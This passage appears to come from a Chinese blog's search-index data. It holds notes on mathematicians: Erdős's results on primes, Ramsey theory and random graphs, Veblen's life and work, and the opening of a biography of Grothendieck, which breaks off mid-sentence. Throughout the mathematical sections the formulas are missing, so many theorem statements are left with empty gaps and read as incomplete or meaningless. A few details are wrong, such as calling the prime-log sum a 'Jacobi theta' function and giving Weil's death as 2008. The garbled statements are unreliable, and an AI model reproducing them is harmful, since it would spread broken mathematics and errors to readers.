对数学的贡献既众多又广泛。但基本上，Erdős 是一个问题解决者，而非理论构建者。他最感兴趣的问题主要集中在组合数学、图论和数论等领域。然而，他不仅仅满足于解决问题，而是要求以一种优雅且初等的方式来解决。Erdős 不喜欢通过提供一系列复杂的步骤来构成形式证明。 他在 1984 年获得沃尔夫奖，颁奖词为：“在数论、组合数学、概率论、集合论等领域做出开创性贡献，并通过个人魅力激励全球数学家。” 贡献一、Bertrand's Postulate1845 年，Bertrand 猜测，对于所有 ，总存在至少一个素数位于 和 之间。Bertrand 自己验证了在区间 内的所有数均满足这一命题。 该猜想在 1852 年由切比雪夫（Pafnuty Lvovich Chebyshev，1821-1894）证明；1919 年，拉马努金（Srinivasa Ramanujan，1887-1920）利用 函数的性质给出了一个更简单的证明。 1932 年，19 岁的 Erdős 发表了他的第一篇论文，利用二项式系数和 Chebyshev 函数 给出了一个令人惊讶的初等证明。论文题为《关于 Chebyshev 一个定理的证明》（Beweis eines Satzes von Tschebyschef），刊登于 Acta Scientifica Mathematica，这也是他博士论文的主要成果。 Erdős 的证明依赖于如下的一个初等结果： Erdős 证明的第一部分表明，如果不存在满足 的素数 ，则我们可以对二项式系数设定一个上界，该上界小于 ，除非 属于 “较小” 的情况，从而证明了 Bertrand’s Postulate 对于所有充分大的 成立；第二部分则处理 较小时的情况，这部分内容通过人工验证完成。 二、素数定理（The Prime Number Theorem）1948 年 7 月，Erdős 在 IAS 遇到了挪威数学家塞尔伯格（Atle Selberg，1917-2007）。经过简短的交流，一份初等证明版本的素数定理问世。 最初，该定理的猜想源自于勒让德（Adrien‑Marie Legendre，1752‑1833）、高斯（Johann Carl Friedrich Gauss，1777‑1855）和狄利克雷（Johann Peter Gustav Lejeune Dirichlet，1805‑1859）各自独立的工作。 其内容为： 当 趋向无穷大时，素数计数函数， 不超过 的素数的个数，将近似于 。 Prime Number Theorem be the prime‑counting function(number of primes less or equal to , for any real number ) 该定理在 1896 年由阿达玛（Jacques Hadamard，1865-1963）和普桑（Charles Jean de la Vallée Poussin，1866-1962）独立证明，利用了 Riemann zeta 函数。1948 年 3 月，Selberg 建立了渐近公式 其中，Jacobi theta 函数 等于所有小于或等于 的素数的对数之和。 到 7 月时，Selberg 与 Erdős 均利用该公式证明了素数定理。两人究竟谁先证明这一结果曾引发一定的优先权争议，此后他们便再未合作。 1949 年 Selberg 发表了他的证明。次年，Selberg 因这一工作为主要原因获得了 Fields 奖。Erdős 也在《美国国家科学院院刊》（Proceedings of the National Academy of Sciences of the United States of America）上发表的论文《关于初等数论中的一种新方法，可得到素数定理的初等证明》（On a new method in elementary number theory which leads to an elementary proof of the prime number theorem）论文也发表于 1949 年。 三、Ramsey 理论在 Erdős 最重要的成果中，他对 Ramsey 理论发展的贡献尤为突出。Ramsey 理论是数学的一个分支，专门研究 “在何种条件下必然出现秩序”。 拉姆齐（Frank Plumpton Ramsey，1903-1930）的原始问题是从一个完全图开始，总存在有限数 （Ramsey number），其值取决于整数 ，满足若将足够大（定点个数大于等于 ）的完全图各边染红蓝两色，则不论如何染，必定有红色的 阶完全图或蓝色的 阶完全图。 如 。 Ramsey 理论则引申这一现象：一个典型的问题是，从一个数学结构开始，将其分割成若干部分。典型的问题为：“原始结构必须有多大，才能保证至少有一部分具备某种特定而有趣的性质？” 其中一个例子是 Erdős - Szekeres 定理（1935）：该定理叙述为对于任给 和 ，任何长度至少为 的由互不相同的实数组成的序列，必包含一个长度为 的单调递增子序列或一个长度为 的单调递减子序列。该结果最早发表于 Erdős 和塞凯雷斯（George Szekeres, 1911-2005）1935 年那篇具有影响力的论文《几何里的组合问题》（A Combinatorial Problem in Geometry）中。 子序列是指从原序列中删除部分元素而不改变原有顺序所得的序列。 例如，给定序列 ，其子序列包括 、 、 、 、 、 、 、 。 例：对于 ， ，该公式告诉我们，任意三个数字的排列都必有一个长度为 的递增子序列或一个长度为 的递减子序列。 在数字 的六种排列中： 拥有一个由全部三个数字构成的递增子序列； 拥有一个递减子序列： ； 拥有一个递减子序列： ； 拥有两个递减子序列： 和 ； 拥有两个递减子序列： 和 ； 拥有三个递减子序列： 、 和 。 在论文中，Erdős 与 Szekeres 通过归纳法证明了 其中 表示使得任一由 个实数组成的序列必包含一个长度为 的单调子序列的最小整数。 四、The Happy Ending Theorem同样是在 Ramsey 理论，1932 年，Erdős 与 Szekeres 的共同朋友艾丝特・克莱恩（Esther Klein, 1910-2005）观察到：（The Happy Ending Theorem）平面上任意一组处于一般位置的五个点，总存在其中的四个点构成一个凸四边形。 这一问题及其定理是推动 Ramsey 理论进一步发展的首批有影响力的成果之一。Erdős 称这一结果为 “Happy Ending Problem”，因为它最终促成了 Szekeres 与 Klein 的婚姻。 该定理是 Erdős 与 Szekeres 在 1935 年同篇论文中证明的更一般定理的一个特例，该定理表述为：对于任一正整数 ，平面上任意足够大的处于一般位置的有限点集，都包含一个由 个点构成的凸多边形的顶点子集。 同时，在该论文中，Erdős 与 Szekeres 还提出了猜想： （The Erdős-Szekeres Conjecture, 1935）在任一处于一般位置的点集内，包含 个点构成凸多边形所需的最小点数 为 。 目前这个问题在 小于 7 的时候被解决， 的情况是通过计算机证明。 五、Erdős–Rényi 随机图在图论这一数学领域中，Erdős–Rényi model 是生成随机图或随机网络演化的两个密切相关的模型之一。这一模型以匈牙利数学家 Paul Erdős 和雷尼（Alfréd Rényi, 1921-1970）的名字命名，由他们在 1959 年提出。此后吉尔伯特（Edgar Gilbert, 1923-2013）与 Erdős 和 Rényi 同时且独立地提出了另一种模型。 在 Erdős–Rényi model 中，对于固定的顶点集和固定的边数，所有图的出现概率均相等。具体的来讲他们定义如下： 型（Erdős-Rényi model）： 在 模型中，先确定图中有 个不同的节点（带有表示，因此视为不同的），然后从所有可能的边中（在 个节点中，每两个节点之间都有可能连一条边，总共可能有 条边）随机均匀地挑选出 条边来构成图。 换句话说，每一张含有 条边的图都有同等的机会被生成。如当 ， 的图共有三种可能，每种发生的可能性为 。 Erdos 和 Rényi 在最初的文章中提出了四个问题，希望知道这些问题在 趋于无穷时的概率： 1、 模型中得到一个完全连通图的概率是多少？ 2、 模型中得到的图的最大连通分量（子图）恰好具有 个顶点的概率是多少？其中 。 3、 模型中得到的图恰好有 个连通分量组成的概率是多少？其中 。 4、如果在一个有 个顶点的图中按以下方式依次随机增加边：每次随机添加一条边，每一步结束后，对于所有尚未被选中的边，它们都有相同的概率在下一步被选中。我们持续进行这个过程，直到图完全连通，那么图达到完全连通所需的步数 等于某个给定整数 的概率是多少？ Erdos 和 Rényi 对上述四个问题当 等于 的整数部分（ 是一个正实数）的情形给出了完整的解答，计算出了上述问题的概率。 答案大致的形式是一些 关于 的函数的指数 Erdős-Rényi model 不仅为数学家们研究图的性质提供了基本工具，而且在现实中也被广泛应用于网络科学、计算机网络、社交网络、生物系统和流行病传播等领域，帮助我们理解和预测各种复杂系统中随机连接和结构演变的规律。"},{"title":"","date":"2026-05-16T04:07:00.000Z","updated":"2026-05-16T04:10:00.000Z","comments":true,"path":"notes/person/21.html","permalink":"https://blog.mhuig.top/notes/person/21","excerpt":"","text":"Veblen Veblen 生平奥斯瓦尔德・维布伦（Oswald Veblen，1880-1960）是挪威裔美国数学家，出生于 Iowa 州的小镇德拉科（Decorah）。 他的父亲安德鲁・安德森・维布伦（Andrew Anderson Veblen，1848-1932）是家中十二个孩子中的老大，Veblen 出生时，他正在当地的卢瑟学院（Luther College）任教。 Veblen 一岁时，他的父亲离开了 Luther 学院前往 Johns Hopkins 大学学习，并于 Veblen 三岁时来到 Iowa 大学工作，讲授数学和物理。 Veblen 的叔叔托尔斯坦・邦德・韦布伦（Thorstein Bunde Veblen，1857-1929）是一名社会学家、经济学家，以有闲阶级（leisure class）的概念闻名。 上大学前，Veblen 曾就读于爱荷华城（Iowa City）的几个公立学校。1894 年，他进入 Iowa 大学，并于 1898 年获得文学学士学位。 毕业后，Veblen 在他父亲的实验室做了一年助理，之后前往 Harvard 大学学习了一年，并于 1900 年获得第二个学士学位。1900 年，Veblen 前往 Chicago 大学攻读研究生学位，当时他的叔父 Thorstein Veblen 是 Chicago 政治系的助理教授。 在 Chicago 大学，他跟随博尔扎（Oskar Bolza，1857-1942）、马施克（Heinrich Maschke，1853-1908）、摩尔（Eliakim Hastings Moore，1862-1932）等数学家学习数学。 他还参加杜威（John Dewey，1859-1952）讲授的哲学课程。受到杜威影响的中国学者有胡适（Shih Hu，1891-1962）、陶行知（1891-1946）、冯友兰（Yu-lan Feng，1895-1990）、蒋梦麟（Monlin Chiang，1886-1964）等。 1903 年，他凭借在 Moore 指导下撰写的《几何学的一套公理》（A system of axioms for geometry）的论文获得博士学位。 博士毕业后，他继续留在 Chicago 大学担任了两年助理，然后于 1905 年前往 Princeton 大学任教。在 Princeton 大学校长（1913-1921 年担任美国第 28 届总统）威尔逊（Thomas Woodrow Wilson，1856-1924）旨在提升本科教育的改革计划下，Veblen 被任命为首批数学 “导师（preceptors）” 之一。 他的到来标志着 Princeton 向世界级数学中心崛起的开端。 Veblen 极其善于发掘人才，他积极招募了如莱夫谢茨（Solomon Lefschetz，1884-1972）、韦德伯恩（Joseph Henry Maclagan Wedderburn，1882-1948）以及后来的冯・诺伊曼（John von Neumann，1903-1957）等青年才俊加入 Princeton。 他的学生中亚历山大（James Waddell Alexander II，1888-1971）、丘奇（Alonzo Church，1903-1995）、托马斯（Tracy Yerkes Thomas，1899-1983）之后也留任 Princeton。 到了 20 世纪 20 年代末，当 Princeton 获得校友琼斯（Thomas Jones，1850-1931）的慷慨捐赠以建设独立的数学大楼（Fine Hall）时，Veblen 全面接管了规划工作。 他坚信数学研究是一项崇高的事业，学者理应获得舒适的交流环境，因此他亲自把关了大楼的装修和家具。 得益于 Veblen 的杰出贡献，在 Princeton 获得了新的科学基金捐赠后，Veblen 顺理成章地成为了首位免除常规教学任务的 “Henry Fine 数学研究教授”。 Veblen 和他的妻子伊丽莎白（Elizabeth Richardson，1889-1974）相识于 Princeton。她的哥哥理查森（Owen Willans Richardson，1879-1959）当时是 Princeton 物理系教授，Richardson 于 1928 年被授予 Nobel 物理学奖。Veblen 与他的妻子于 1908 年成婚，两人没有孩子。 Veblen 对普林斯顿高等研究院（IAS）的创立和发展同样发挥了不可替代的作用。1930 年，当亚伯拉罕・弗莱克斯纳（Abraham Flexner，1866-1959）着手筹建这所致力于纯粹研究的机构时，Veblen 不仅提议将 Princeton 作为院址，还迅速成为了 Flexner 最具影响力的顾问。 1932 年，Veblen 与爱因斯坦（Albert Einstein，1879-1955）一同接受了 IAS 的首批聘任。 尽管 Flexner 最初设想数学学院只聘请一到两名教授，但 Veblen 坚持不懈地游说，力主扩大规模，最终成功将外尔（Hermann Klaus Hugo Weyl，1885-1955）、Alexander、von Neumann、和莫尔斯（Harold Calvin Marston Morse，1892-1977）等顶尖学者招至麾下，构建了极具影响力的创始团队。 在 20 世纪 30 年代后期，当 IAS 面临严重的财务危机且 Flexner 试图削减数学访问学者项目的资金时，Veblen 挺身而出，顽强地捍卫了该项目的预算，从而保全了 IAS 自由交流与合作的核心学术氛围，为 IAS 成为世界顶尖的数学研究机构奠定了基础。 1950 年，Veblen 从高等研究院退休。Veblen 晚年受到部分失明的困扰，并于 1960 年 8 月在他位于 Maine 州的家中去世。 去世前，他和夫人将他们 82 英亩（当时市价是 15.4 万美金）的林地捐赠给了 Mercer 县，建立了赫伦镇伍兹植物园（Herrontown Woods Arboretum），成为 Princeton 周边最大的自然保护区之一。 Veblen 对美国数学会的发展起了重要作用，曾于 1923 年至 1924 年担任主席。Veblen 不仅专注于学术交流，更将学会的职能扩展到了公共倡导和资金筹集领域。 面对第一次世界大战后因出版成本飙升而引发的财务危机，他与柯立芝（Julian Lowell Coolidge，1873-1954）发起了捐赠运动，并创造性地推出了赞助会员制度（后演变为今天的机构会员制），成功吸引了企业界为学会提供资金支持。 为了提升公众对数学及其应用价值的认识，他们还共同促成了年度 Josiah Willard Gibbs 讲座的设立。 在学术推广方面，Veblen 利用 1916 年受邀发表 AMS Colloquium Lectures 的机会，系统性地介绍了当时鲜有人问津的位置分析（即现在的拓扑学）概念，并在 1922 年将其出版为专著，这为一代美国数学家打开了代数拓扑的大门。 Veblen 还负责了之后学会学术论文集的创办工作，第一卷于 1927 年出版。 后来在 1938 年，当纳粹政权干预德国《数学评论》（Zentralblatt）并排挤犹太编辑时，Veblen 迅速联合多位学者辞职抗议，并立刻主导筹划了美国本土的文摘期刊《数学评论》（Mathematical Reviews），该刊物在 1940 年成功面世。 Veblen 创立的《数学评论》后来发展为 MathSciNet，是当今数学研究几乎必不可少的数据库之一。 Veblen 在二战前夕展现出的巨大的人道主义精神，为他赢得了 “数学界政治家” 的美誉。1933 年，当纳粹开始从德国大学中驱逐犹太数学家时，Veblen 第一时间加入了援助欧陆数学家的委员会，成为协助欧洲数学家避难美国的关键枢纽。 在当时大萧条导致国内教职稀缺，且许多校园弥漫着排外情绪的恶劣环境下，Veblen 仍巧妙地运用他的人脉网络和外交手腕为前来避难的数学家寻找出路。 例如，通过他和 Flexner 的亲自呼吁，前 Göttingen 大学数学研究所所长库朗（Richard Courant，1888-1972）最终在 New York 大学获得了至关重要的职位。 同时，Veblen 还促使曾在 Princeton 受过他帮助的科恩（Leon Cohen）在 Kentucky 大学为年轻的布劳尔（Richard Dagobert Brauer，1901-1977）提供了一个临时职位，Brauer 随后得以进入 IAS 担任 Weyl 的助手。 在 Veblen 的努力下，美国对数学研究的资金支持体系实现了从无到有的跨越，数学研究的环境有了极大改善。 1920 年 Veblen 加入国家研究委员会（NRC）后，他于 1923 年几乎凭借一己之力，成功说服 NRC 和 Rockefeller 基金会将原有物理和化学博士后奖学金项目扩展至数学领域。 为了改变当时美国数学教授每周必须承担 9 至 15 小时繁重教学任务的困境，他积极向基金会倡导设立专门的数学研究所和研究教授席位，以保障学者的科研时间。 在 IAS 期间，Veblen 不仅接收刚毕业的博士生，还大胆向 Flexner 提议设立一种实验性制度，即与其他大学分摊初级教员的薪水，让他们来 IAS 进行为期一年的访问研究。 这一创新最终演变成了 IAS 庞大的访问学者体系，深刻影响了全球范围内博士后和研究职位的设立模式。 此外，Veblen 依靠他广泛的人脉和个人人格魅力为美国数学会筹集了大量资金。例如：在创办《数学评论》时，为了填补巨额启动资金的缺口，Veblen 亲自游说 Rockefeller 基金会和 Carnegie 公司，在短短几个月内就奇迹般地敲定了总计 72,000 美元的拨款，为该期刊的诞生奠定了物质基础。 Veblen 是 1928 年以及 1936 年国际数学家大会的受邀报告人。 Veblen 是美国哲学学会和美国国家科学院院士。Veblen 当选为丹麦科学院院士、巴黎科学院院士、波兰科学院院士、爱丁堡皇家学会院士，以及爱尔兰、意大利和秘鲁等多个国家科学院院士，他还是包括美国数学会、伦敦数学会在内多个学会的成员。 他还获得了 Oxford 大学、Edinburgh 大学、Glasgow 大学、Hamburg 大学和 Oslo 大学授予的荣誉学位。 为了纪念他，美国数学会在 1961 年设立了 Oswald Veblen 几何奖，从 1964 年起每三年颁发一次。 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1964 C. PapaR. Bott 1966 S. Smale、M. BrownB. Mazur 1971 R. KirbyD. Sullivan 1976 W. ThurstonJ. Simons 1981 丘成桐、M. Gromov 1986 M. Freedman 1991 C. TaubesA. Casson 1996 R.S. Hamilton、田刚 2001 J. CheegerY. EliashbergM.J. Hopkins 2004 D. Gabai 2007 P. KronheimerT. Mrowka 2010 T. ColdingW. Minicozzi II 2016 F.C. MarquesA. Neves 2019 S. Donaldson、陈秀雄孙崧 2025 S. FeyzbakhshR. Thomas Veblen 几何奖部分获奖者 贡献一、几何学的公理化与射影几何在他 1903 年的博士论文中，Veblen 给出了欧氏几何的一种公理化，Veblen 的公理基于点以及点在直线上的序这两个基本概念，由 12 条公理构成。他证明了这些公理相容性与独立性。这一公理体系不同于 Hilbert 基于的 “点、直线、平面” 的公理，更接近 Pasch 与 Peano 的想法。 在系统地建立起公理化方法之后，Veblen 的兴趣扩展到分析学的基础，他的研究强调紧性（例如 Heine-Borel 定理）的作用，Veblen 给出了第一个被广泛接纳的 Jordan 曲线定理的证明。 Veblen 还研究了射影几何，相关工作汇总于与杨格（John Wesley Young，1879-1932）合著的两卷《射影几何》（Projective geometry）。这两册书全面地介绍了任意域的几何学以及实数域时更精细的结果，包括圆锥曲线和射影的性质，以及 Klein-Erlanger 纲领对几何学的分类。书中对公理化方法（公理的独立性和范畴性）的阐述堪称精辟，对代数和几何学领域的其他学者产生了深远的影响。 二、拓扑学拓扑学的基本想法很多源于庞加莱（Jules Henri Poincaré，1854-1912）在 1895 年至 1904 年间发表的名为《位置分析》（Analysis situs）的系列文章。 这系列文章晦涩难懂，且中间很多论证是被省略的。因此，Poincaré 的想法在一段时间内并没被主流数学关注。 受益于他早期对几何学以及 Jordan 曲线定理的研究，Veblen 敏锐地认识到 Poincaré 思想的价值，并意识到需要建立一个坚实的基础。 与 Alexander 合作，Veblen 以组合的方式定义了多面体的同调（Homology）、Betti 数、挠系数（torsion coefficient）等概念并研究它们的性质。这项工作发表于 1913 年的数学年刊。 1916 年，Veblen 在美国数学会给了一系列关于拓扑学的学术报告。这些内容后被整理成书，于 1922 年出版为《位置分析》（Analysis Situs），是第一本系统地阐述拓扑学基本想法的专著。通过 Veblen 的专著，一代数学家接触到了代数拓扑的概念。这些思想迅速传播开来，并随之发展出新的成果。即便在 Lefschetz 于 1930 年发表了更为现代的代数拓扑论述后，Veblen 的著作仍然是一本重要的（且更易于理解的）入门读物。 三、微分几何Einstein 的广义相对论发表后不久，Veblen 的部分注意力转向了微分几何，研究的内容包括微分几何的基础、路径的几何（现在被仿射联络的理论覆盖）和旋量（spinor）等。 1932 年，Veblen 与怀特海特（John Henry Constantine Whitehead，1904-1960）合作撰写了《微分几何基础》（The foundations of differential geometry）。在书中，Veblen 与 Whitehead 给出了第一个被广泛接受的微分流形的定义。 他们的定义相对复杂：例如他们不要求拓扑空间是 Hausdorff 的。Veblen-Whitehead 的定义后来被惠特尼（Hassler Whitney，1907-1989）改进，成为了我们今天熟知的用坐标图卡（atlas）的定义。 除此以外，Veblen 还撰写了关于二次微分形式的《二次微分形式的不变量》（The invariants of quadratic differential forms）和关于旋量的《射影相对论》（Projective relativity theory）两本专著。"},{"title":"","date":"2026-05-19T01:07:00.000Z","updated":"2026-05-19T01:10:00.000Z","comments":true,"path":"notes/person/28.html","permalink":"https://blog.mhuig.top/notes/person/28","excerpt":"","text":"Grothendieck Grothendieck 生平1945 年，Schurik（此后我们将称他为 Grothendieck）和他母亲搬到了蒙彼利埃附近的梅萨尔格村（Maisargues）。在那里，Grothendieck 一边在葡萄园工作，一边利用一笔小额奖学金进入蒙彼利埃大学（Université de Montpellier）学习数学。在学校时，他对所学数学内容感到不满。 他曾这样描述自己的感受：“让我最不满意的是高中数学教材中缺乏对某些概念的严谨定义，比如曲线长度、曲面面积和立体体积。我当时对自己承诺，如果有机会，我一定要弥补这个空白。” 这段早期的反思与探索为 Grothendieck 的数学研究奠定了坚实的基础，并展现出他对概念本质的强烈渴望，这种特质贯穿了他的一生。 在蒙彼利埃大学就读期间，Grothendieck 的教授们并未能帮助他弥补这些对于概念本质理解上的空白，他不得不独立开展研究。他的第一段真正的数学经历就发生在蒙彼利埃的本科阶段。 他对当时所接受的教学深感不满。他学会了如何计算球体的体积，但没有人向他解释过体积的定义。他认为，将 “如何做” 转变为 “为什么这样” 是数学精神的显著标志。 一位教授告诉他，有位名为 Lebesgue 的数学家解决了数学中所有剩余的难题，但其工作过于复杂，无法讲授。 这种回应并未让 Grothendieck 却步，他在几乎没有任何提示的情况下，独自重新发现了一种非常广义的勒贝格积分的版本。他的第一篇数学工作就这样在完全孤立的环境下诞生了。（我们稍后会看到关于这段故事的另一视角的叙述） 蒙彼利埃的 Soula 教授相信勒贝格（Henri Lebesgue, 1875-1941）已经解决了所有尚未解决的数学问题。这位教授曾师从埃利・嘉当（Élie Joseph Cartan, 1869-1951），并建议 Grothendieck 前往巴黎，与亨利・嘉当（Henri Paul Cartan, 1904-2008）学习。Grothendieck 接受了这一建议，他于 1948 至 1949 学年在巴黎高等师范学院（École Normale Supérieure）学习。 在巴黎期间，他参加了 Henri Cartan 的研讨班，主题涉及代数拓扑和层理论。在这里，Grothendieck 认识了当时一批顶尖的数学家，他们也参与了 Cartan 的研讨班，其中包括克洛德・谢瓦莱（Claude Chevalley, 1909-1984）、让・德尔萨特（Jean Frédéric Auguste Delsarte, 1903-1968）、迪厄多内（Jean Alexandre Eugène Dieudonné, 1906-1992）、戈德曼（Roger Godement, 1921-2016）、施瓦茨（Laurent-Moïse Schwartz, 1915-2002）以及韦伊（André Weil, 1906-2008）。 与此同时，他的一位同学正是后来的菲尔兹奖得主让 - 皮埃尔・塞尔（Jean-Pierre Albert Achille Serre, 1926- ）。尽管 Cartan 的研讨班主要关注代数拓扑，但当时 Grothendieck 对拓扑向量空间的兴趣更浓厚。Weil 和 Henri Cartan 建议他前往南锡（Nancy），因为那里有一支强大的研究团队，包括上述提到的 Dieudonné、Delsarte、Godement 和 Schwartz。 关于这段经历，Cartan 在一段采访中有所提及：“… 严格来说，Grothendieck 并不是我的学生。他十二岁时以难民身份来到法国，那是纳粹时期；他的母亲是德国人，父亲是俄罗斯人。他的学业得到了一个私人机构的资助，这个机构由一位法国数学家负责，这位数学家后来成为了总督察（教育系统中的高级官员）。这位有远见且富有奉献精神的科学家发现了这个年轻人的才华，并为他提供了奖学金，这使他不仅完成了中学学业，还得以在蒙彼利埃大学学习了一年（不过他认为在那里没有学到太多东西…）。第二年，他来到巴黎并参加了我的研讨班。在积分学方面，他有一些非常笼统且抽象的想法，而我和 Dieudonné 都对此提出了一定的质疑。随后我们决定把他送到南锡，那里的学术氛围很活跃，有一所充满活力的学校，得益于 Jean Delsarte、Jean Dieudonné、Laurent Schwartz、Roger Godement 以及其他一些人的存在。 Dieudonné 起初认为他有些自负，但还是给他提出了一些泛函分析方面的问题，这些问题是他和 Schwartz 在最近的研究中未能解决的问题。Grothendieck 起初沉默不语，但两个月后，他完全解决了这些问题，这让南锡的数学家们信服了他的能力。” 我们继续讲下他在南锡的故事。1949 年，Grothendieck 搬到了南锡大学（University of Nancy），与他的母亲同住。他的母亲因在拘留营期间感染了肺结核，偶尔需要卧床休养。此时，Grothendieck 与房东的一位女士育有一子，名为 Serge。Serge 主要由他的母亲抚养长大。 在南锡，Grothendieck 与 Jean Dieudonné 合作研究泛函分析。他当时拥有的书籍寥寥无几，但他并不通过阅读来学习，而是倾向于自己重新构建知识。他工作极为勤奋。南锡的学术氛围非常活跃，每周六都有一个研讨班，教授们和部分学生共同参与，研讨各类数学主题。这为年轻的 Grothendieck 提供了绝佳的研究环境。 Dieudonné 回忆道：“对于局部凸空间的对偶性理论需要进行全面的研究。施瓦茨和我已经开始研究 Fréchet spaces 及其 direct limit，但我们遇到了一系列无法解决的问题。于是我们将这些问题交给了 Grothendieck，而他的成果远远超出了我们的期望。在不到一年的时间里，他用极富创造性的构造方法解决了我们所有的问题；然后，他利用自己开发的技术，开始研究泛函分析中的许多其他问题。” 1953 年，Grothendieck 提交了博士论文《拓扑张量积与核空间》（Produits tensoriels topologiques et espaces nucléaires）。他于 1953 年 2 月 28 日在巴黎进行博士论文答辩。 当时出席答辩的一位数学家马尔格朗日（Bernard Malgrange, 1928-2024）回忆道：“在完成博士论文后，Grothendieck 表示他对拓扑向量空间不再感兴趣。他告诉 Malgrange：‘这个领域已经没有什么可做的了，这个主题已经死了。’” 当时，学生需要准备一篇 “第二论文”，这篇论文不需要原创研究， 但旨在展示学生对与博士研究主题完全不同的数学领域的深入理解。他的第二论文主题是层理论，而这项工作可能为他在代数几何领域的伟大成就播下了种子。Grothendieck 的博士论文答辩在巴黎举行。答辩结束后，Malgrange 回忆说，他与 Grothendieck 以及 Henri Cartan 一起乘出租车前往 Laurent Schwartz 家中共进午餐。当时选择乘出租车是因为 Malgrange 因滑雪摔断腿。在车上，Cartan 向 Grothendieck 解释了他在层理论中所提出的一些不正确的观点。” 1953 年至 1955 年间，Grothendieck 在巴西圣保罗大学（University of São Paulo）任教，随后一年在美国堪萨斯大学（University of Kansas）工作。然而，在此期间，他的研究兴趣发生了转变，逐渐转向拓扑学和几何学。实际上，从 1950 年起，Grothendieck 便一直受到法国国家科学研究中心（Centre National de la Recherche Scientifique, CNRS）的资助。1956 年离开堪萨斯后，他回到 CNRS。 与此同时，他成为了布尔巴基学派的一员，该学派包括 André Weil、Henri Cartan、Jean Dieudonné。然而，1959 年，Grothendieck 接受了当时新成立的法国高等科学研究所（Institut des Hautes Études Scientifiques, IHÉS）提供的研究职位。这在当时是一所完全由私人资助研究机构，Jean Dieudonné 和 Grothendieck 是最早受邀的数学家。 Grothendieck 也得以在那里举办的密集且高产的研讨活动，并引起了广泛关注。在此期间，他几乎停止了通过传统的学术期刊发表论文。然而，Grothendieck 通过举办讨论班并出版 SGA（布瓦玛丽代数几何研讨班 Séminaire de Géométrie Algébrique du Bois Marie，简称 SGA）在数学界占据了主导地位约十年，并形成了一个强大的学派。 在这段时间内，他的正式学生包括： 米歇尔・德马祖尔（Michel Demazure, 1937-）：参与 SGA3 的工作，研究群概型 group scheme； 吕克・伊吕西（Luc Illusie, 1940-）：研究 cotangent complex； 米歇尔・雷诺（Michel Raynaud, 1938-2018）； 让 - 路易・维尔迪耶（Jean-Louis Verdier, 1935-1989）：导出范畴 derived category 理论的共同创立者； 皮埃尔・德利涅（Pierre Deligne, 1944-）。 SGA 项目的合作者还包括： 迈克尔・阿廷（Michael Artin, 1934- ）：研究 étale 上同调； 尼克・卡茨（Nick Michael Katz, 1943- ）：研究单值理论 monodromy 和 Lefschetz pencil； 让・吉罗（Jean Henri Gaston Giraud, 1938-2012）：扩展了非交换上同调理论。 其他许多人也参与其中，如： 大卫・芒福德（David Bryant Mumford, 1937- ）； 罗宾・哈茨霍恩（Robin Cope Hartshorne, 1938- ）； 巴里・马祖尔（Barry Charles Mazur, 1937- ）； 拉马努詹（Chakravarthi Padmanabhan Ramanujam, 1938-1974）。 正如文献《Grothendieck 的遗产》中描述的那样：“不夸张地说，Grothendieck 在 IHÉS 的 1959 年至 1970 年是他的‘黄金时代’。在他的个人魅力和领导下，一个全新的数学流派蓬勃发展。Grothendieck 的《代数几何研讨班》（Séminaire de Géométrie Algébrique）将 IHÉS 建立为代数几何的世界中心，而他是这一领域的核心推动力量。” 在这一时期，Grothendieck 的工作为几何学、数论、拓扑学和复分析提供了统一的主题。他在 20 世纪 60 年代引入了概型理论（theory of schemes），这一理论为解决 Weil 猜想提供了工具。他还研究了拓扑斯理论（topos），这一理论与数学逻辑密切相关。他为 Riemann-Roch theorem 给出了代数证明，并提出了曲线基本群的代数定义。Grothendieck 的这一系列成果不仅彻底改变了代数几何领域，也为现代数学奠定了重要基础。 20 世纪 50 年代后期，Grothendieck 与米雷耶（Mireille）生活在一起，两人育有三个孩子：约翰娜（Johanna）、马修（Mathieu）和亚历山大（Alexandre）。几年后，他与米雷耶结婚。 1964 年，Luc Illusie 开始参加 Grothendieck 在法国高等科学研究所（IHÉS）主持的研讨班。他在回忆录中写道：“他在黑板前讲解时充满激情，同时也非常注意回顾所有必要的背景知识。他的讲解极为精准，条理清晰，即便像我这样对该主题一无所知的人，也能够理解其形式结构。虽然讲解速度很快，但清晰程度足以让我记笔记。” 他于 1966 年获得菲尔兹奖。回顾这一时期，人们无不惊叹于 Grothendieck 与同事及学生分享自己思想的慷慨精神，他与合作者对精确编撰工作的投入，以及他们探索数学新领域时所展现的激情与兴奋。 菲尔兹奖授予 Grothendieck 的颁奖词：“Grothendieck 在 Weil 和 Zariski 工作的基础上，推动了代数拓扑和代数几何的根本性进步。他引入了 - 理论的概念（即 Grothendieck 群和环），并在他著名的 Tôhoku paper 中彻底革新了同调代数。” 颁奖词中提到的 Tôhoku paper 是指 Grothendieck 发表在日本东北大学期刊上的文章《关于同调代数的若干问题》（Sur quelques points d'algèbre homologique），涉及阿贝尔范畴、模层、消解、导出函子和 Grothendieck 谱序列。然而，1966 年国际数学家大会于当年 8 月在莫斯科召开，而菲尔兹奖的颁发却遇到了一些困难。Grothendieck 拒绝前往莫斯科领取菲尔兹奖。 在大会上，由 IHÉS 的负责人莱昂・莫特尚（Léon Motchane, 1900-1990）代为接受奖项。Grothendieck 并未公开声明他拒绝赴莫斯科的具体原因，但他宣称自己是 “世界公民”，并申请了联合国公民身份。 1967 年 11 月至 12 月，Grothendieck 访问了当时正遭受美军轰炸的北越。他的第一批讲座 —— 他称之为 “总览性讲座”—— 在河内举行。然而，由于首都轰炸加剧，高层决定将所有人撤离到河内大学数学系的秘密地点。Grothendieck 写道：“随后我在河内大学的撤离地（距首都约 100 公里）度过了一周半的时间；这段时间主要用于一个更专业的专题讲座，内容涵盖范畴和同调代数，听众约有 30 到 40 人，大多数是在听了我在河内的总览性讲座后追随而来的。” Grothendieck 回忆这一事件成为数学史上的一个重要时刻：20 世纪最伟大的数学家之一，在一个被美军轰炸得 “回到石器时代”（美国空军将领柯蒂斯・勒梅（Curtis Emerson LeMay, 1906-1990）的说法），必须在极端贫困的丛林隐蔽所中，开设一个关于同调代数的短期课程。 1970 年，Grothendieck 离开了法国高等科学研究所（IHÉS）。这是由于他在 1969 年发现该研究所的一部分资金来自军事机构。他与其他教授共同劝说所长 Léon Motchane 不再接受来自法国军方的资助。然而，几个月后，由于研究所预算紧张，所长违背了承诺。 Grothendieck 试图说服所有教授以辞职抗议，但其他人并未支持他的行动。他辞职信日期为 1970 年 5 月 25 日。 1970 年至 1972 年，他在法兰西学院担任访问教授，随后于 1972 年至 1973 年在奥赛（Orsay）大学任类似职务。然而，Grothendieck 